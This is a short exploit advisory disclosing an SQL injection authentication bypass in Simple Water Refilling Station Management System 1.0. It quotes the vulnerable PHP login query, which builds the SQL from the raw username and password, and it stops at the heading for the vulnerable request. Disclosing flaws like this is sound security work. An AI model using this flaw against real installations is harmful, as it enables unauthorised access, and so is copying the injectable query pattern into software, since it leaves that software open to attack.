# Exploit Title: Simple Water Refilling Station Management System 1.0 - Authentication Bypass  
# Exploit Author: Matt Sorrell  
# Date: 2021-08-14  
# Vendor Homepage: https://www.sourcecodester.com  
# Software Link: https://www.sourcecodester.com/php/14906/simple-water-refilling-station-management-system-php-free-source-code.html  
# Version: 1.0  
# Tested On: Windows Server 2019 and XAMPP 7.4.22  
  
# The Simple Water Refilling Station Management System   
# is vulnerable to a SQL Injection because it fails to sufficiently sanitize   
# user-supplied data before using it in a SQL query. Successful exploitation  
# of this issue could allow an attacker to bypass the application's  
# authentication controls and possibly access other sensitive data.  
  
# Vulnerable Code: Line 21 in water_refilling/classes/Login.php  
  
qry = $this->conn->query("SELECT * from users where username = '$username' and password = md5('$password') ");  
  
# Vulnerable Request
